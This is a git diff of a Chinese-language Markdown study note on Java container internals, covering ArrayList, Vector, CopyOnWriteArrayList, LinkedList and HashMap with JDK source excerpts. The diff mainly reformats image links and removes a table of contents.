+- Eckel B. Java 编程思想[M]. 机械工业出版社, 2002.
+- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
+---bottom---CyC---
+![](index_files/f76067a5-7d5f-4135-9549-8199c77d8f1c.jpg)
+![](index_files/PPjwP.png)
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index 04902d87..b64d7987 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,326 +1,304 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、概览](#一概览)
-    * [Collection](#collection)
-    * [Map](#map)
-* [二、容器中的设计模式](#二容器中的设计模式)
-    * [迭代器模式](#迭代器模式)
-    * [适配器模式](#适配器模式)
-* [三、源码分析](#三源码分析)
-    * [ArrayList](#arraylist)
-    * [Vector](#vector)
-    * [CopyOnWriteArrayList](#copyonwritearraylist)
-    * [LinkedList](#linkedlist)
-    * [HashMap](#hashmap)
-    * [ConcurrentHashMap](#concurrenthashmap)
-    * [LinkedHashMap](#linkedhashmap)
-    * [WeakHashMap](#weakhashmap)
-* [附录](#附录)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、概览
+
+容器主要包括 Collection 和 Map 两种，Collection 存储着对象的集合，而 Map 存储着键值对（两个对象）的映射表。
+
+## Collection
+
+![](index_files/VP6n3i8W48Ptde8NQ9_0eSR5eOD6uqx.png)
+
+### 1. Set
+
+- TreeSet：基于红黑树实现，支持有序性操作，例如根据一个范围查找元素的操作。但是查找效率不如 HashSet，HashSet 查找的时间复杂度为 O(1)，TreeSet 则为 O(logN)。
+
+- HashSet：基于哈希表实现，支持快速查找，但不支持有序性操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
+
+- LinkedHashSet：具有 HashSet 的查找效率，且内部使用双向链表维护元素的插入顺序。
+
+### 2. List
+
+- ArrayList：基于动态数组实现，支持随机访问。
+
+- Vector：和 ArrayList 类似，但它是线程安全的。
+
+- LinkedList：基于双向链表实现，只能顺序访问，但是可以快速地在链表中间插入和删除元素。不仅如此，LinkedList 还可以用作栈、队列和双向队列。
+
+### 3. Queue
+
+- LinkedList：可以用它来实现双向队列。
+
+- PriorityQueue：基于堆结构实现，可以用它来实现优先队列。
+
+## Map
+
+![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png)
+
+- TreeMap：基于红黑树实现。
+
+- HashMap：基于哈希表实现。
+
+- HashTable：和 HashMap 类似，但它是线程安全的，这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类，不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全，并且 ConcurrentHashMap 的效率会更高，因为 ConcurrentHashMap 引入了分段锁。
+
+- LinkedHashMap：使用双向链表来维护元素的顺序，顺序为插入顺序或者最近最少使用（LRU）顺序。
 
 
-# 一、概览
+# 二、容器中的设计模式
 
-容器主要包括 Collection 和 Map 两种，Collection 存储着对象的集合，而 Map 存储着键值对（两个对象）的映射表。
+## 迭代器模式
 
-## Collection
+![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png)
 
-<div align="center"> <img src="pics/VP6n3i8W48Ptde8NQ9_0eSR5eOD6uqx.png"/> </div><br>
+Collection 继承了 Iterable 接口，其中的 iterator() 方法能够产生一个 Iterator 对象，通过这个对象就可以迭代遍历 Collection 中的元素。
 
-### 1. Set
-
-- TreeSet：基于红黑树实现，支持有序性操作，例如根据一个范围查找元素的操作。但是查找效率不如 HashSet，HashSet 查找的时间复杂度为 O(1)，TreeSet 则为 O(logN)。
-
-- HashSet：基于哈希表实现，支持快速查找，但不支持有序性操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
-
-- LinkedHashSet：具有 HashSet 的查找效率，且内部使用双向链表维护元素的插入顺序。
-
-### 2. List
-
-- ArrayList：基于动态数组实现，支持随机访问。
-
-- Vector：和 ArrayList 类似，但它是线程安全的。
-
-- LinkedList：基于双向链表实现，只能顺序访问，但是可以快速地在链表中间插入和删除元素。不仅如此，LinkedList 还可以用作栈、队列和双向队列。
-
-### 3. Queue
-
-- LinkedList：可以用它来实现双向队列。
-
-- PriorityQueue：基于堆结构实现，可以用它来实现优先队列。
-
-## Map
-
-<div align="center"> <img src="pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png"/> </div><br>
-
-- TreeMap：基于红黑树实现。
-
-- HashMap：基于哈希表实现。
-
-- HashTable：和 HashMap 类似，但它是线程安全的，这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类，不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全，并且 ConcurrentHashMap 的效率会更高，因为 ConcurrentHashMap 引入了分段锁。
-
-- LinkedHashMap：使用双向链表来维护元素的顺序，顺序为插入顺序或者最近最少使用（LRU）顺序。
-
-
-# 二、容器中的设计模式
-
-## 迭代器模式
-
-<div align="center"> <img src="pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png"/> </div><br>
-
-Collection 继承了 Iterable 接口，其中的 iterator() 方法能够产生一个 Iterator 对象，通过这个对象就可以迭代遍历 Collection 中的元素。
-
-从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。
+从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。
 
 ```java
-List<String> list = new ArrayList<>();
+List<String> list = new ArrayList<>();
 list.add("a");
 list.add("b");
-for (String item : list) {
-    System.out.println(item);
+for (String item : list) {
+    System.out.println(item);
 }
 ```
 
-## 适配器模式
+## 适配器模式
 
-java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
+java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
 
 ```java
 @SafeVarargs
-public static <T> List<T> asList(T... a)
+public static <T> List<T> asList(T... a)
 ```
 
-应该注意的是 asList() 的参数为泛型的变长参数，不能使用基本类型数组作为参数，只能使用相应的包装类型数组。
+应该注意的是 asList() 的参数为泛型的变长参数，不能使用基本类型数组作为参数，只能使用相应的包装类型数组。
 
 ```java
-Integer[] arr = {1, 2, 3};
-List list = Arrays.asList(arr);
+Integer[] arr = {1, 2, 3};
+List list = Arrays.asList(arr);
 ```
 
-也可以使用以下方式调用 asList()：
+也可以使用以下方式调用 asList()：
 
 ```java
-List list = Arrays.asList(1, 2, 3);
+List list = Arrays.asList(1, 2, 3);
 ```
 
-# 三、源码分析
+# 三、源码分析
 
-如果没有特别说明，以下源码分析基于 JDK 1.8。
+如果没有特别说明，以下源码分析基于 JDK 1.8。
 
-在 IDEA 中 double shift 调出 Search EveryWhere，查找源码文件，找到之后就可以阅读源码。
+在 IDEA 中 double shift 调出 Search EveryWhere，查找源码文件，找到之后就可以阅读源码。
 
-## ArrayList
+## ArrayList
 
-### 1. 概览
+### 1. 概览
 
-实现了 RandomAccess 接口，因此支持随机访问。这是理所当然的，因为 ArrayList 是基于数组实现的。
+实现了 RandomAccess 接口，因此支持随机访问。这是理所当然的，因为 ArrayList 是基于数组实现的。
 
 ```java
-public class ArrayList<E> extends AbstractList<E>
-        implements List<E>, RandomAccess, Cloneable, java.io.Serializable
+public class ArrayList<E> extends AbstractList<E>
+        implements List<E>, RandomAccess, Cloneable, java.io.Serializable
 ```
 
-数组的默认大小为 10。
+数组的默认大小为 10。
 
 ```java
-private static final int DEFAULT_CAPACITY = 10;
+private static final int DEFAULT_CAPACITY = 10;
 ```
 
-### 2. 扩容
+### 2. 扩容
 
-添加元素时使用 ensureCapacityInternal() 方法来保证容量足够，如果不够时，需要使用 grow() 方法进行扩容，新容量的大小为 `oldCapacity + (oldCapacity >> 1)`，也就是旧容量的 1.5 倍。
+添加元素时使用 ensureCapacityInternal() 方法来保证容量足够，如果不够时，需要使用 grow() 方法进行扩容，新容量的大小为 `oldCapacity + (oldCapacity >> 1)`，也就是旧容量的 1.5 倍。
 
-扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中，这个操作代价很高，因此最好在创建 ArrayList 对象时就指定大概的容量大小，减少扩容操作的次数。
+扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中，这个操作代价很高，因此最好在创建 ArrayList 对象时就指定大概的容量大小，减少扩容操作的次数。
 
 ```java
-public boolean add(E e) {
-    ensureCapacityInternal(size + 1);  // Increments modCount!!
-    elementData[size++] = e;
-    return true;
+public boolean add(E e) {
+    ensureCapacityInternal(size + 1);  // Increments modCount!!
+    elementData[size++] = e;
+    return true;
 }
 
-private void ensureCapacityInternal(int minCapacity) {
-    if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
-        minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
-    }
-    ensureExplicitCapacity(minCapacity);
+private void ensureCapacityInternal(int minCapacity) {
+    if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
+        minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
+    }
+    ensureExplicitCapacity(minCapacity);
 }
 
-private void ensureExplicitCapacity(int minCapacity) {
-    modCount++;
-    // overflow-conscious code
-    if (minCapacity - elementData.length > 0)
-        grow(minCapacity);
+private void ensureExplicitCapacity(int minCapacity) {
+    modCount++;
+    // overflow-conscious code
+    if (minCapacity - elementData.length > 0)
+        grow(minCapacity);
 }
 
-private void grow(int minCapacity) {
-    // overflow-conscious code
-    int oldCapacity = elementData.length;
-    int newCapacity = oldCapacity + (oldCapacity >> 1);
-    if (newCapacity - minCapacity < 0)
-        newCapacity = minCapacity;
-    if (newCapacity - MAX_ARRAY_SIZE > 0)
-        newCapacity = hugeCapacity(minCapacity);
-    // minCapacity is usually close to size, so this is a win:
-    elementData = Arrays.copyOf(elementData, newCapacity);
+private void grow(int minCapacity) {
+    // overflow-conscious code
+    int oldCapacity = elementData.length;
+    int newCapacity = oldCapacity + (oldCapacity >> 1);
+    if (newCapacity - minCapacity < 0)
+        newCapacity = minCapacity;
+    if (newCapacity - MAX_ARRAY_SIZE > 0)
+        newCapacity = hugeCapacity(minCapacity);
+    // minCapacity is usually close to size, so this is a win:
+    elementData = Arrays.copyOf(elementData, newCapacity);
 }
 ```
 
-### 3. 删除元素
+### 3. 删除元素
 
-需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上，该操作的时间复杂度为 O(N)，可以看出 ArrayList 删除元素的代价是非常高的。
+需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上，该操作的时间复杂度为 O(N)，可以看出 ArrayList 删除元素的代价是非常高的。
 
 ```java
-public E remove(int index) {
-    rangeCheck(index);
-    modCount++;
-    E oldValue = elementData(index);
-    int numMoved = size - index - 1;
-    if (numMoved > 0)
-        System.arraycopy(elementData, index+1, elementData, index, numMoved);
-    elementData[--size] = null; // clear to let GC do its work
-    return oldValue;
+public E remove(int index) {
+    rangeCheck(index);
+    modCount++;
+    E oldValue = elementData(index);
+    int numMoved = size - index - 1;
+    if (numMoved > 0)
+        System.arraycopy(elementData, index+1, elementData, index, numMoved);
+    elementData[--size] = null; // clear to let GC do its work
+    return oldValue;
 }
 ```
 
-### 4. Fail-Fast
+### 4. Fail-Fast
 
-modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作，或者是调整内部数组的大小，仅仅只是设置元素的值不算结构发生变化。
+modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作，或者是调整内部数组的大小，仅仅只是设置元素的值不算结构发生变化。
 
-在进行序列化或者迭代等操作时，需要比较操作前后 modCount 是否改变，如果改变了需要抛出 ConcurrentModificationException。
+在进行序列化或者迭代等操作时，需要比较操作前后 modCount 是否改变，如果改变了需要抛出 ConcurrentModificationException。
 
 ```java
-private void writeObject(java.io.ObjectOutputStream s)
-    throws java.io.IOException{
-    // Write out element count, and any hidden stuff
-    int expectedModCount = modCount;
-    s.defaultWriteObject();
+private void writeObject(java.io.ObjectOutputStream s)
+    throws java.io.IOException{
+    // Write out element count, and any hidden stuff
+    int expectedModCount = modCount;
+    s.defaultWriteObject();
 
-    // Write out size as capacity for behavioural compatibility with clone()
-    s.writeInt(size);
+    // Write out size as capacity for behavioural compatibility with clone()
+    s.writeInt(size);
 
-    // Write out all elements in the proper order.
-    for (int i=0; i<size; i++) {
-        s.writeObject(elementData[i]);
-    }
+    // Write out all elements in the proper order.
+    for (int i=0; i<size; i++) {
+        s.writeObject(elementData[i]);
+    }
 
-    if (modCount != expectedModCount) {
-        throw new ConcurrentModificationException();
-    }
+    if (modCount != expectedModCount) {
+        throw new ConcurrentModificationException();
+    }
 }
 ```
 
-### 5. 序列化
+### 5. 序列化
 
-ArrayList 基于数组实现，并且具有动态扩容特性，因此保存元素的数组不一定都会被使用，那么就没必要全部进行序列化。
+ArrayList 基于数组实现，并且具有动态扩容特性，因此保存元素的数组不一定都会被使用，那么就没必要全部进行序列化。
 
-保存元素的数组 elementData 使用 transient 修饰，该关键字声明数组默认不会被序列化。
+保存元素的数组 elementData 使用 transient 修饰，该关键字声明数组默认不会被序列化。
 
 ```java
-transient Object[] elementData; // non-private to simplify nested class access
+transient Object[] elementData; // non-private to simplify nested class access
 ```
 
-ArrayList 实现了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
+ArrayList 实现了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
 
 ```java
-private void readObject(java.io.ObjectInputStream s)
-    throws java.io.IOException, ClassNotFoundException {
-    elementData = EMPTY_ELEMENTDATA;
+private void readObject(java.io.ObjectInputStream s)
+    throws java.io.IOException, ClassNotFoundException {
+    elementData = EMPTY_ELEMENTDATA;
 
-    // Read in size, and any hidden stuff
-    s.defaultReadObject();
+    // Read in size, and any hidden stuff
+    s.defaultReadObject();
 
-    // Read in capacity
-    s.readInt(); // ignored
+    // Read in capacity
+    s.readInt(); // ignored
 
-    if (size > 0) {
-        // be like clone(), allocate array based upon size not capacity
-        ensureCapacityInternal(size);
+    if (size > 0) {
+        // be like clone(), allocate array based upon size not capacity
+        ensureCapacityInternal(size);
 
-        Object[] a = elementData;
-        // Read in all elements in the proper order.
-        for (int i=0; i<size; i++) {
-            a[i] = s.readObject();
-        }
-    }
+        Object[] a = elementData;
+        // Read in all elements in the proper order.
+        for (int i=0; i<size; i++) {
+            a[i] = s.readObject();
+        }
+    }
 }
 ```
 
 ```java
-private void writeObject(java.io.ObjectOutputStream s)
-    throws java.io.IOException{
-    // Write out element count, and any hidden stuff
-    int expectedModCount = modCount;
-    s.defaultWriteObject();
+private void writeObject(java.io.ObjectOutputStream s)
+    throws java.io.IOException{
+    // Write out element count, and any hidden stuff
+    int expectedModCount = modCount;
+    s.defaultWriteObject();
 
-    // Write out size as capacity for behavioural compatibility with clone()
-    s.writeInt(size);
+    // Write out size as capacity for behavioural compatibility with clone()
+    s.writeInt(size);
 
-    // Write out all elements in the proper order.
-    for (int i=0; i<size; i++) {
-        s.writeObject(elementData[i]);
-    }
+    // Write out all elements in the proper order.
+    for (int i=0; i<size; i++) {
+        s.writeObject(elementData[i]);
+    }
 
-    if (modCount != expectedModCount) {
-        throw new ConcurrentModificationException();
-    }
+    if (modCount != expectedModCount) {
+        throw new ConcurrentModificationException();
+    }
 }
 ```
 
-序列化时需要使用 ObjectOutputStream 的 writeObject() 将对象转换为字节流并输出。而 writeObject() 方法在传入的对象存在 writeObject() 的时候会去反射调用该对象的 writeObject() 来实现序列化。反序列化使用的是 ObjectInputStream 的 readObject() 方法，原理类似。
+序列化时需要使用 ObjectOutputStream 的 writeObject() 将对象转换为字节流并输出。而 writeObject() 方法在传入的对象存在 writeObject() 的时候会去反射调用该对象的 writeObject() 来实现序列化。反序列化使用的是 ObjectInputStream 的 readObject() 方法，原理类似。
 
 ```java
-ArrayList list = new ArrayList();
-ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
+ArrayList list = new ArrayList();
+ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
 oos.writeObject(list);
 ```
 
-## Vector
+## Vector
 
-### 1. 同步
+### 1. 同步
 
-它的实现与 ArrayList 类似，但是使用了 synchronized 进行同步。
+它的实现与 ArrayList 类似，但是使用了 synchronized 进行同步。
 
 ```java
-public synchronized boolean add(E e) {
-    modCount++;
-    ensureCapacityHelper(elementCount + 1);
-    elementData[elementCount++] = e;
-    return true;
+public synchronized boolean add(E e) {
+    modCount++;
+    ensureCapacityHelper(elementCount + 1);
+    elementData[elementCount++] = e;
+    return true;
 }
 
-public synchronized E get(int index) {
-    if (index >= elementCount)
-        throw new ArrayIndexOutOfBoundsException(index);
+public synchronized E get(int index) {
+    if (index >= elementCount)
+        throw new ArrayIndexOutOfBoundsException(index);
 
-    return elementData(index);
+    return elementData(index);
 }
 ```
 
-### 2. 与 ArrayList 的比较
+### 2. 与 ArrayList 的比较
 
-- Vector 是同步的，因此开销就比 ArrayList 要大，访问速度更慢。最好使用 ArrayList 而不是 Vector，因为同步操作完全可以由程序员自己来控制；
-- Vector 每次扩容请求其大小的 2 倍空间，而 ArrayList 是 1.5 倍。
+- Vector 是同步的，因此开销就比 ArrayList 要大，访问速度更慢。最好使用 ArrayList 而不是 Vector，因为同步操作完全可以由程序员自己来控制；
+- Vector 每次扩容请求其大小的 2 倍空间，而 ArrayList 是 1.5 倍。
 
-### 3. 替代方案
+### 3. 替代方案
 
-可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList。
+可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList。
 
 ```java
-List<String> list = new ArrayList<>();
-List<String> synList = Collections.synchronizedList(list);
+List<String> list = new ArrayList<>();
+List<String> synList = Collections.synchronizedList(list);
 ```
 
-也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类。
+也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类。
 
 ```java
-List<String> list = new CopyOnWriteArrayList<>();
+List<String> list = new CopyOnWriteArrayList<>();
 ```
 
-## CopyOnWriteArrayList
+## CopyOnWriteArrayList
 
-### 读写分离
+### 读写分离
 
 写操作在一个复制的数组上进行，读操作还是在原始数组中进行，读写分离，互不影响。
 
@@ -329,827 +307,827 @@ List<String> list = new CopyOnWriteArrayList<>();
 写操作结束之后需要把原始数组指向新的复制数组。
 
 ```java
-public boolean add(E e) {
-    final ReentrantLock lock = this.lock;
-    lock.lock();
-    try {
-        Object[] elements = getArray();
-        int len = elements.length;
-        Object[] newElements = Arrays.copyOf(elements, len + 1);
-        newElements[len] = e;
-        setArray(newElements);
-        return true;
-    } finally {
-        lock.unlock();
-    }
+public boolean add(E e) {
+    final ReentrantLock lock = this.lock;
+    lock.lock();
+    try {
+        Object[] elements = getArray();
+        int len = elements.length;
+        Object[] newElements = Arrays.copyOf(elements, len + 1);
+        newElements[len] = e;
+        setArray(newElements);
+        return true;
+    } finally {
+        lock.unlock();
+    }
 }
 
-final void setArray(Object[] a) {
-    array = a;
+final void setArray(Object[] a) {
+    array = a;
 }
 ```
 
 ```java
 @SuppressWarnings("unchecked")
-private E get(Object[] a, int index) {
-    return (E) a[index];
+private E get(Object[] a, int index) {
+    return (E) a[index];
 }
 ```
 
-### 适用场景
+### 适用场景
 
-CopyOnWriteArrayList 在写操作的同时允许读操作，大大提高了读操作的性能，因此很适合读多写少的应用场景。
+CopyOnWriteArrayList 在写操作的同时允许读操作，大大提高了读操作的性能，因此很适合读多写少的应用场景。
 
-但是 CopyOnWriteArrayList 有其缺陷：
+但是 CopyOnWriteArrayList 有其缺陷：
 
-- 内存占用：在写操作时需要复制一个新的数组，使得内存占用为原来的两倍左右；
-- 数据不一致：读操作不能读取实时性的数据，因为部分写操作的数据还未同步到读数组中。
+- 内存占用：在写操作时需要复制一个新的数组，使得内存占用为原来的两倍左右；
+- 数据不一致：读操作不能读取实时性的数据，因为部分写操作的数据还未同步到读数组中。
 
-所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。
+所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。
 
-## LinkedList
+## LinkedList
 
-### 1. 概览
+### 1. 概览
 
-基于双向链表实现，使用 Node 存储链表节点信息。
+基于双向链表实现，使用 Node 存储链表节点信息。
 
 ```java
-private static class Node<E> {
-    E item;
-    Node<E> next;
-    Node<E> prev;
+private static class Node<E> {
+    E item;
+    Node<E> next;
+    Node<E> prev;
 }
 ```
 
-每个链表存储了 first 和 last 指针：
+每个链表存储了 first 和 last 指针：
 
 ```java
-transient Node<E> first;
-transient Node<E> last;
+transient Node<E> first;
+transient Node<E> last;
 ```
 
-<div align="center"> <img src="pics/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png" width="500"/> </div><br>
+<img src="index_files/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png" width="500"/>
 
-### 2. 与 ArrayList 的比较
+### 2. 与 ArrayList 的比较
 
-- ArrayList 基于动态数组实现，LinkedList 基于双向链表实现；
-- ArrayList 支持随机访问，LinkedList 不支持；
-- LinkedList 在任意位置添加删除元素更快。
+- ArrayList 基于动态数组实现，LinkedList 基于双向链表实现；
+- ArrayList 支持随机访问，LinkedList 不支持；
+- LinkedList 在任意位置添加删除元素更快。
 
-## HashMap
+## HashMap
 
-为了便于理解，以下源码分析以 JDK 1.7 为主。
+为了便于理解，以下源码分析以 JDK 1.7 为主。
 
-### 1. 存储结构
+### 1. 存储结构
 
-内部包含了一个 Entry 类型的数组 table。
+内部包含了一个 Entry 类型的数组 table。
 
 ```java
-transient Entry[] table;
+transient Entry[] table;
 ```
 
-Entry 存储着键值对。它包含了四个字段，从 next 字段我们可以看出 Entry 是一个链表。即数组中的每个位置被当成一个桶，一个桶存放一个链表。HashMap 使用拉链法来解决冲突，同一个链表中存放哈希值相同的 Entry。
+Entry 存储着键值对。它包含了四个字段，从 next 字段我们可以看出 Entry 是一个链表。即数组中的每个位置被当成一个桶，一个桶存放一个链表。HashMap 使用拉链法来解决冲突，同一个链表中存放哈希值相同的 Entry。
 
-<div align="center"> <img src="pics/8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
+<img src="index_files/8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/>
 
 ```java
-static class Entry<K,V> implements Map.Entry<K,V> {
-    final K key;
-    V value;
-    Entry<K,V> next;
-    int hash;
+static class Entry<K,V> implements Map.Entry<K,V> {
+    final K key;
+    V value;
+    Entry<K,V> next;
+    int hash;
 
-    Entry(int h, K k, V v, Entry<K,V> n) {
-        value = v;
-        next = n;
-        key = k;
-        hash = h;
-    }
+    Entry(int h, K k, V v, Entry<K,V> n) {
+        value = v;
+        next = n;
+        key = k;
+        hash = h;
+    }
 
-    public final K getKey() {
-        return key;
-    }
+    public final K getKey() {
+        return key;
+    }
 
-    public final V getValue() {
-        return value;
-    }
+    public final V getValue() {
+        return value;
+    }
 
-    public final V setValue(V newValue) {
-        V oldValue = value;
-        value = newValue;
-        return oldValue;
-    }
+    public final V setValue(V newValue) {
+        V oldValue = value;
+        value = newValue;
+        return oldValue;
+    }
 
-    public final boolean equals(Object o) {
-        if (!(o instanceof Map.Entry))
-            return false;
-        Map.Entry e = (Map.Entry)o;
-        Object k1 = getKey();
-        Object k2 = e.getKey();
-        if (k1 == k2 || (k1 != null && k1.equals(k2))) {
-            Object v1 = getValue();
-            Object v2 = e.getValue();
-            if (v1 == v2 || (v1 != null && v1.equals(v2)))
-                return true;
-        }
-        return false;
-    }
+    public final boolean equals(Object o) {
+        if (!(o instanceof Map.Entry))
+            return false;
+        Map.Entry e = (Map.Entry)o;
+        Object k1 = getKey();
+        Object k2 = e.getKey();
+        if (k1 == k2 || (k1 != null && k1.equals(k2))) {
+            Object v1 = getValue();
+            Object v2 = e.getValue();
+            if (v1 == v2 || (v1 != null && v1.equals(v2)))
+                return true;
+        }
+        return false;
+    }
 
-    public final int hashCode() {
-        return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue());
-    }
+    public final int hashCode() {
+        return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue());
+    }
 
-    public final String toString() {
-        return getKey() + "=" + getValue();
-    }
+    public final String toString() {
+        return getKey() + "=" + getValue();
+    }
 }
 ```
 
-### 2. 拉链法的工作原理
+### 2. 拉链法的工作原理
 
 ```java
-HashMap<String, String> map = new HashMap<>();
-map.put("K1", "V1");
-map.put("K2", "V2");
-map.put("K3", "V3");
+HashMap<String, String> map = new HashMap<>();
+map.put("K1", "V1");
+map.put("K2", "V2");
+map.put("K3", "V3");
 ```
 
-- 新建一个 HashMap，默认大小为 16；
-- 插入 &lt;K1,V1> 键值对，先计算 K1 的 hashCode 为 115，使用除留余数法得到所在的桶下标 115%16=3。
-- 插入 &lt;K2,V2> 键值对，先计算 K2 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6。
-- 插入 &lt;K3,V3> 键值对，先计算 K3 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6，插在 &lt;K2,V2> 前面。
+- 新建一个 HashMap，默认大小为 16；
+- 插入 &lt;K1,V1> 键值对，先计算 K1 的 hashCode 为 115，使用除留余数法得到所在的桶下标 115%16=3。
+- 插入 &lt;K2,V2> 键值对，先计算 K2 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6。
+- 插入 &lt;K3,V3> 键值对，先计算 K3 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6，插在 &lt;K2,V2> 前面。
 
-应该注意到链表的插入是以头插法方式进行的，例如上面的 &lt;K3,V3> 不是插在 &lt;K2,V2> 后面，而是插入在链表头部。
+应该注意到链表的插入是以头插法方式进行的，例如上面的 &lt;K3,V3> 不是插在 &lt;K2,V2> 后面，而是插入在链表头部。
 
 查找需要分成两步进行：
 
-- 计算键值对所在的桶；
-- 在链表上顺序查找，时间复杂度显然和链表的长度成正比。
+- 计算键值对所在的桶；
+- 在链表上顺序查找，时间复杂度显然和链表的长度成正比。
 
-<div align="center"> <img src="pics/49d6de7b-0d0d-425c-9e49-a1559dc23b10.png" width="600"/> </div><br>
+<img src="index_files/49d6de7b-0d0d-425c-9e49-a1559dc23b10.png" width="600"/>
 
-### 3. put 操作
+### 3. put 操作
 
 ```java
-public V put(K key, V value) {
-    if (table == EMPTY_TABLE) {
-        inflateTable(threshold);
-    }
-    // 键为 null 单独处理
-    if (key == null)
-        return putForNullKey(value);
-    int hash = hash(key);
-    // 确定桶下标
-    int i = indexFor(hash, table.length);
-    // 先找出是否已经存在键为 key 的键值对，如果存在的话就更新这个键值对的值为 value
-    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
-        Object k;
-        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
-            V oldValue = e.value;
-            e.value = value;
-            e.recordAccess(this);
-            return oldValue;
-        }
-    }
+public V put(K key, V value) {
+    if (table == EMPTY_TABLE) {
+        inflateTable(threshold);
+    }
+    // 键为 null 单独处理
+    if (key == null)
+        return putForNullKey(value);
+    int hash = hash(key);
+    // 确定桶下标
+    int i = indexFor(hash, table.length);
+    // 先找出是否已经存在键为 key 的键值对，如果存在的话就更新这个键值对的值为 value
+    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
+        Object k;
+        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
+            V oldValue = e.value;
+            e.value = value;
+            e.recordAccess(this);
+            return oldValue;
+        }
+    }
 
-    modCount++;
-    // 插入新键值对
-    addEntry(hash, key, value, i);
-    return null;
+    modCount++;
+    // 插入新键值对
+    addEntry(hash, key, value, i);
+    return null;
 }
 ```
 
-HashMap 允许插入键为 null 的键值对。但是因为无法调用 null 的 hashCode() 方法，也就无法确定该键值对的桶下标，只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
+HashMap 允许插入键为 null 的键值对。但是因为无法调用 null 的 hashCode() 方法，也就无法确定该键值对的桶下标，只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
 
 ```java
-private V putForNullKey(V value) {
-    for (Entry<K,V> e = table[0]; e != null; e = e.next) {
-        if (e.key == null) {
-            V oldValue = e.value;
-            e.value = value;
-            e.recordAccess(this);
-            return oldValue;
-        }
-    }
-    modCount++;
-    addEntry(0, null, value, 0);
-    return null;
+private V putForNullKey(V value) {
+    for (Entry<K,V> e = table[0]; e != null; e = e.next) {
+        if (e.key == null) {
+            V oldValue = e.value;
+            e.value = value;
+            e.recordAccess(this);
+            return oldValue;
+        }
+    }
+    modCount++;
+    addEntry(0, null, value, 0);
+    return null;
 }
 ```
 
 使用链表的头插法，也就是新的键值对插在链表的头部，而不是链表的尾部。
 
 ```java
-void addEntry(int hash, K key, V value, int bucketIndex) {
-    if ((size >= threshold) && (null != table[bucketIndex])) {
-        resize(2 * table.length);
-        hash = (null != key) ? hash(key) : 0;
-        bucketIndex = indexFor(hash, table.length);
-    }
+void addEntry(int hash, K key, V value, int bucketIndex) {
+    if ((size >= threshold) && (null != table[bucketIndex])) {
+        resize(2 * table.length);
+        hash = (null != key) ? hash(key) : 0;
+        bucketIndex = indexFor(hash, table.length);
+    }
 
-    createEntry(hash, key, value, bucketIndex);
+    createEntry(hash, key, value, bucketIndex);
 }
 
-void createEntry(int hash, K key, V value, int bucketIndex) {
-    Entry<K,V> e = table[bucketIndex];
-    // 头插法，链表头部指向新的键值对
-    table[bucketIndex] = new Entry<>(hash, key, value, e);
-    size++;
+void createEntry(int hash, K key, V value, int bucketIndex) {
+    Entry<K,V> e = table[bucketIndex];
+    // 头插法，链表头部指向新的键值对
+    table[bucketIndex] = new Entry<>(hash, key, value, e);
+    size++;
 }
 ```
 
 ```java
